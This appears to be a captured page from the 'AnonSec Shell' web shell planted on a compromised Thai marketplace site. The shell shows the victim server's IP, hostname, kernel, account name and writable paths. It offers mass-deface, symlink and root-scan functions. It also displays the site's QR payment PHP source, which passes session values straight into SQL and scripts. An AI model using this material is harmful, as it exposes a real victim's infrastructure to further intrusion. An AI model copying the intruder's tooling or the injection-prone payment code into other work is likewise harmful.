AnonSec Shell
Server IP : 172.67.216.113  /  Your IP : 104.23.243.33   [ Reverse IP ]
Web Server : Apache
System : Linux cpanel01wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.59.el6.x86_64 #1 SMP Thu Dec 6 05:11:00 EST 2018 x86_64
User : cp648411 ( 1354)
PHP Version : 7.2.34
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home2/cp648411/public_html/taladonnuch.com/talad/payment/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home2/cp648411/public_html/taladonnuch.com/talad/payment/payment_qr_other.php
<?php include('../include/meta.php');?>
<?php include('kkp/set_dev.php');?>
<?php

date_default_timezone_set("Asia/Bangkok");
$date = date("Y-m-d H:i:s");
$date2 = date("YmdHisB");
$date3 = date("YmdHis");
$date4 = date("Y-m-d");
	$Or_id = @$_SESSION['order'][0]['id'];
?>

<?php include('../include/head.php');?>
<?php //include('../include/menu.php');?>

<script>
 function PrintElem(elem)
    {
		Popup($(elem).html());
    }
 function Popup(data)
    {
        var mywindow = window.open('print_order.php', 'ใบสั่งซื้อสินค้า', 'height=500,width=600');
        mywindow.document.write('<html><head><title>ใบสั่งซื้อสินค้า</title>');
        /*optional stylesheet*/ //mywindow.document.write('<link rel="stylesheet" href="main.css" type="text/css" />');
        mywindow.document.write('</head><body >');
        mywindow.document.write(data);
        mywindow.document.write('</body></html>');

        mywindow.document.close(); // necessary for IE >= 10
        mywindow.focus(); // necessary for IE >= 10

        mywindow.print();
        mywindow.close();

        return true;
    }
</script>

<div class="container div_main p_top40">
    <div class="row">
      <div class="col-md-12" align="center">
      		<div class="text_header">ใบสั่งซื้อสินค้า</div>
      </div>
    </div>
</div>


<div class="container div_main" style="padding-top:60px;">
    <div class="row justify-content-center">
      <div class="col-md-12" align="center">
    		<div class="text_header">ช่องทางชำระเงินผ่าน QR Code</div>
        <div style="font-weight:bold"> ซื่อบัญชีบจก. บริษัท อ่อนนุช จำกัด</div>
      </div>
      <div class="col-md-6 col-md-offset-3 px-3 " align="center">
      <?php
			if(@$_SESSION['order'][0]['Authorization']=='' || !@$_SESSION['order'][0]['Authorization']){

				$html_brand = $url_Token;
				$ch = curl_init();
				$options = array(
					CURLOPT_URL            => $html_brand,
					CURLOPT_RETURNTRANSFER => true,
					CURLOPT_HEADER         => false,
					CURLOPT_FOLLOWLOCATION => false,
					CURLOPT_ENCODING       => "",
					CURLOPT_AUTOREFERER    => false,
					CURLOPT_CONNECTTIMEOUT => 120,
					CURLOPT_TIMEOUT        => 120,
					CURLOPT_MAXREDIRS      => 10,
					CURLOPT_POST  		   => true,
					CURLOPT_POSTFIELDS     => "grant_type=client_credentials",
					CURLOPT_HTTPHEADER     => array(
						"Authorization: $Authorization",
						"Content-Type:application/x-www-form-urlencoded"
					)
				);
				if (!function_exists('curl_setopt_array')) {
					function curl_setopt_array(&$ch, $curl_options)
					{
						foreach ($curl_options as $option => $value) {
							if (!curl_setopt($ch, $option, $value)) {
								return false;
							}
						}
						return true;
					}
				}
				curl_setopt_array( $ch, $options );

				$response = curl_exec($ch);
				$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
				$data = json_decode($response, true);
			/*
			echo "<pre>";
			print_r($html_brand);
			echo "</pre>";
			echo "<pre>";
			print_r($data);
			echo "</pre>";
				*/

				$name_table='payment_log';
				$list = array(
					'table'=>$name_table,
					'date'=>"'".@$date4."'",
					'access_token'=>"'".@$data['access_token']."'",
					'token_type'=>"'".@$data['token_type']."'"
				);

				$add = $actiondata_db->add_db($list);

				$_SESSION['order'][0]['Authorization'] = $data['token_type']." ".$data['access_token'];
		//	echo $_SESSION['order'][0]['Authorization'] ;
			}
	//exit();
        ///-----------------------------------------------------------------
        $html_brand2 = $url_Gen;

        $postData2 = array(
          "BillPayment_BillerID"=>$Biller_ID,
          "BillPayment_TaxID"=>$TaxID,
          "BillPayment_Suffix"=>$Suffix,
          "BillPayment_Reference1"=> $_SESSION['order'][0]['BillPayment_Reference1'],
          "BillPayment_Reference2"=> $_SESSION['order'][0]['BillPayment_Reference2'],
          "BillPayment_Reference3"=> $_SESSION['order'][0]['BillPayment_Reference3'],
          "TransactionAmount"=> $_SESSION['order'][0]['price']
          );
          $postData3 = array(
          "TransactionID"=> $_SESSION['order'][0]['id_order'],
          "TransactionDateTime"=> $_SESSION['order'][0]['TransactionDateTime'],
          "ServiceName"=> $_SESSION['order'][0]['ServiceName'],
          "SystemCode"=> $_SESSION['order'][0]['SystemCode'],
          "ChannelCode"=> $_SESSION['order'][0]['ChannelCode']
          );
          $postData = array(
          "Header"=>$postData3,
          "Data"=>["QRInfo"=> $postData2]);

          $ch = curl_init();
          $options = array(
          CURLOPT_URL            => $html_brand2,
          CURLOPT_RETURNTRANSFER => true,
          CURLOPT_HEADER         => false,
          CURLOPT_FOLLOWLOCATION => false,
          CURLOPT_ENCODING       => "",
          CURLOPT_AUTOREFERER    => false,
          CURLOPT_CONNECTTIMEOUT => 120,
          CURLOPT_TIMEOUT        => 120,
          CURLOPT_MAXREDIRS      => 10,
          CURLOPT_POST  		   => true,
          CURLOPT_POSTFIELDS     => json_encode($postData),
          CURLOPT_HTTPHEADER     => array(
          "Authorization:".@$_SESSION['order'][0]['Authorization'],
          "ConsumerKey:$ConsumerKey",
          "Content-Type:application/json"
          )
          );
          if (!function_exists('curl_setopt_array')) {
            function curl_setopt_array(&$ch, $curl_options)
            {
              foreach ($curl_options as $option => $value) {
                if (!curl_setopt($ch, $option, $value)) {
                  return false;
                }
              }
              return true;
            }
          }

          curl_setopt_array( $ch, $options );

          $response = curl_exec($ch);
          $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
          $data = json_decode($response, true);


          $sql_or = array('table'=>'payment','where'=>"id_order = '".@$_SESSION['order'][0]['id_order']."'");
          $view_or = $view_db->view($sql_or);
          $row_or = $view_db->q($view_or);

          if($row_or['id_order'] != $_SESSION['order'][0]['id_order']){
            $list = array
          	(
          		'table'=>'payment',
          		'id'=>'NULL',
          		'id_order'=>"'".$_SESSION['order'][0]['id_order']."'",
          		'TransactionID'=>"'".$_SESSION['order'][0]['id_order']."'",
          		'TransactionDateTime'=>"'".$_SESSION['order'][0]['TransactionDateTime']."'",
          		'BillPayment_Reference1'=>"'".$_SESSION['order'][0]['BillPayment_Reference1']."'",
          		'BillPayment_Reference2'=>"'".$_SESSION['order'][0]['BillPayment_Reference2']."'",
          		'BillPayment_Reference3'=>"'".$_SESSION['order'][0]['BillPayment_Reference3']."'",
          		'TransactionAmount'=>"'".$_SESSION['order'][0]['price']."'",
          		'ResponseCode'=>"'".@$data['ResponseStatus']['ResponseCode']."'",
          		'ResponseMessage'=>"'".@$data['ResponseStatus']['ResponseMessage']."'",
          		'QRValue'=>"'".@$data['Data']['QRValue']."'",

          	);
          	$add3 = $actiondata_db->add_db($list);

        }

        $_REQUEST['data'] = $data['Data']['QRValue'];
        $PNG_TEMP_DIR = dirname(__FILE__).DIRECTORY_SEPARATOR.'temp'.DIRECTORY_SEPARATOR;
        $PNG_WEB_DIR = 'temp/';
        include "phpqrcode/qrlib.php";

        if (!file_exists($PNG_TEMP_DIR))
        mkdir($PNG_TEMP_DIR);

        $filename = $PNG_TEMP_DIR.'test.png';
        $errorCorrectionLevel = 'L';
        $matrixPointSize = 10;
        if (isset($_REQUEST['data'])) {
          if (trim($_REQUEST['data']) == '')
          die('data cannot be empty! <a href="?">back</a>');

          $filename = $PNG_TEMP_DIR.'test'.md5($_REQUEST['data'].'|'.$errorCorrectionLevel.'|'.$matrixPointSize).'.png';
          QRcode::png($_REQUEST['data'], $filename, $errorCorrectionLevel, $matrixPointSize, 2);

        } else {
          echo 'You can provide data in GET parameter: <a href="?data=like_that">like that</a><hr/>';
          QRcode::png('PHP QR Code :)', $filename, $errorCorrectionLevel, $matrixPointSize, 2);

        }
				/*
        echo "<pre>";
        print_r($data);
        echo "</pre>";
				*/

      ?>
        <div class="row"  id="print_img">
          <div class="col-12 px-md-0 px-0 pb-0" style="border:1px solid #0e3e68;">
            <img src="../image/3ACC14FD78D7411EB0BA14C3BC24563F.png" alt="" width="100%" >
            <img src="<?php echo $PNG_WEB_DIR.basename($filename); ?>" alt="" class="mb-md-3 mb-2"
            style="width:200px;height:200px;">
            <div class="row px-3 px-md-3  mb-1">
              <div class="col-6 col-md-8 col-md-offset-1 text-start">
                <p class="mb-0">ชื่อธนาคาร </p>
              </div>
              <div class="col-6 col-md-4 col-md-offset-3 text-end">
                <p class="p-0 m-0"><?php echo number_format($_SESSION['order'][0]['price'],2); ?></p>
              </div>
            </div>
            <div class="row px-3 px-md-3  mb-1">
              <div class="col-6 col-md-8 col-md-offset-1 text-start">
                <p>Comp. Limited ONNUD COMPANY LIMITED</p>
              </div>
              <div class="col-6 col-md-4 col-md-offset-0 text-end">
                <p class="p-0 m-0" ><?php echo 'บาท'; ?></p>
              </div>
            </div>
            <div class="d-flex justify-content-start text-light" style="background-color:#4f446c;align-items: center;">
              <div class="col-3 col-md-2 p-2">
                <img src="../image/kkp_2.jpg" alt=""  width="100%" >
              </div>
              <div class="col-9 text-start text-white">
                <small style="color: white;">accept all bank (ชำระได้ทุกธนาคาร)</small>
              </div>
            </div>
          </div>
        </div>

				<br>
				<!--
				<div class="row ">
					<div class="col-12">
						<button type="button" class="btn btn-warning"  onClick="testPay()"><?php echo 'จ่ายเงินสำเร็จ'; ?></button>
					</div>
				</div>-->
        <?php if($_SERVER['HTTP_HOST']=='localhost'){ ?>
      <?php } ?>
      </div>
    </div>
  </div>

  <div class="justify-content-center">
    <div class="row">
      <div class="col-11 col-md-6 border-set2 text-center pb-2 px-0 justify-content-center"
        style="background-image:url('../image/lw2.png');background-size:cover;background-repeat:no-repeat;background-position: center center;">
      </div>
    </div>
    <div id="output"></div>
  </div>
</div>





<div class="container div_main">
    <div class="row text-center justify-content-center">
			<div class="col-6 col-md-6 p-0">
				<button type="button" name="button" id="btn_img" class="btn btn-warning" style="width: 100%;">บันทึกรูป</button>
			</div>

      <div class="col-md-12" align="center">


            <div style="padding-top:30px;">   <img src="../image/icon_graph.png" width="97" height="22"> </div>


      </div>
    </div>
</div>



<?php
/*
echo "<pre>";
print_r($_SESSION);
echo "</pre>";
*/
 ?>

<div class="container div_main">
    <div class="row">
      <div class="col-md-12" align="center">
            <div class="line"></div>
      </div>

    </div>
</div>
<script src="html2canvas.js"></script>

<script>
function checkNoti() {
  $.ajax({
    type: "POST",
    url: "payment_noti_other.php",
    data: {function:"noti"},
    success: function(data){
    //  console.log(data);
      if(data == 'BGW-I-0000'){
			//	location.href="http://localhost/talad2/payment/success_other.php?id=<?php echo @$_SESSION['order'][0]['TransactionID'].'&search='.@$_SESSION['wal_member_id']; ?>";
				location.href="https://www.taladonnuch.com/talad/payment/success_other.php?id=<?php echo @$_SESSION['order'][0]['TransactionID'].'&search='.@$_SESSION['wal_member_id']; ?>";

			  }else{

      }
    }
  });
}
function testPay() {
  $.ajax({
    type: "POST",
    url: "payment_noti_test.php",
    data: {function:"noti",
            id:'<?php echo @$_SESSION['order'][0]['id_order']; ?>',
            id_order:'<?php echo @$_SESSION['order'][0]['id_order']; ?>',
            ref1:'<?php echo @$_SESSION['order'][0]['BillPayment_Reference1']; ?>',
            ref2:'<?php echo @$_SESSION['order'][0]['BillPayment_Reference2']; ?>',
            ref3:'<?php echo @$_SESSION['order'][0]['BillPayment_Reference3']; ?>'},
    success: function(data){
      //console.log(data);
      if(data == 'BGW-I-0000'){
        //console.log(data);
      }else{

      }
    }
  });
}
function checkNoti2() {
  $.ajax({
    type: "POST",
    url: "payment_callback.php",
    data: {id_order:"<?php echo @$_SESSION['order'][0]['id_order']; ?>"},
    success: function(data){
      //console.log(data);

    }
  });
}
 window.onload = function () {
    checkNoti();
    var notifyMe_t = window.setInterval(checkNoti, 3000);
 };
 function takeshot() {
	 //window.scrollTo(0,0);


    let div = document.getElementById('widget');
    html2canvas(document.getElementById('widget')).then(function (canvas) {
			/*var ajax = new XMLHttpRequest();
			ajax.open("POST", "save-capture.php", true);
			ajax.setRequestHeader("Content-type","application/x-www-form-urlencoded");
			ajax.send("image=" + canvas.toDataURL("image/jpeg",0.9));
			ajax.onreadystatechange = function () {
				if(this.readyState == 4 && this.status == 200) {
					console.log(this.responseText);
					if(this.responseText == 'success'){
						window.location.href='';
					}
				}
			}
			*/
			document
			.getElementById('output')
			.appendChild(canvas);

		//	window.open(canvas.toDataURL('image/png'));

	//	window.open('',document.getElementById('output').toDataURL());
    })
}
document.getElementById("btn_img").addEventListener("click", function() {
   html2canvas(document.getElementById("print_img")).then(function (canvas) {			var anchorTag = document.createElement("a");
       document.body.appendChild(anchorTag);
       //document.getElementById("previewImg").appendChild(canvas);
       anchorTag.download = "ONN<?php echo $_SESSION['order'][0]['id_order']; ?>.jpg";
       anchorTag.href = canvas.toDataURL();
       anchorTag.target = '_blank';
       anchorTag.click();
     });
  });
</script>
<?php
function formatPhoneNumberX($phoneNumber) {
  $phoneNumber = preg_replace('/[^0-9]/','',$phoneNumber);
  //  echo strlen($phoneNumber);
    if(strlen($phoneNumber) > 10) {
        $countryCode = substr($phoneNumber, 0, strlen($phoneNumber)-10);
        $areaCode = substr($phoneNumber, -10, 3);
        $nextThree = substr($phoneNumber, -7, 3);
        $lastFour = substr($phoneNumber, -4, 4);

        $phoneNumber = '+'.$countryCode.' ('.$areaCode.') '.$nextThree.'-'.$lastFour;
    }
    else if(strlen($phoneNumber) == 10) {
        $areaCode = substr($phoneNumber, 0, 1);
        //$areaCode2 = substr($phoneNumber, 1, 3);
        //$nextThree = substr($phoneNumber, 3, 3);
        $lastFour = substr($phoneNumber, 7, 3);

        //$phoneNumber = '('.$areaCode.') '.$nextThree.'-'.$lastFour;
        $phoneNumber = $areaCode.'xx xxxx'.$lastFour;
    }
    else if(strlen($phoneNumber) == 7) {
        $nextThree = substr($phoneNumber, 0, 3);
        $lastFour = substr($phoneNumber, 3, 4);

        $phoneNumber = $nextThree.'-'.$lastFour;
    }else{
        $phoneNumber = '-';
    }

    return  $phoneNumber;
}
 ?>
<?php include('../themes/tap_footer.php');?>
<?php include('../themes/footer.php');?>
<?php include('../include/footer_js.php');?>

Anon7 - 2022
AnonSec Team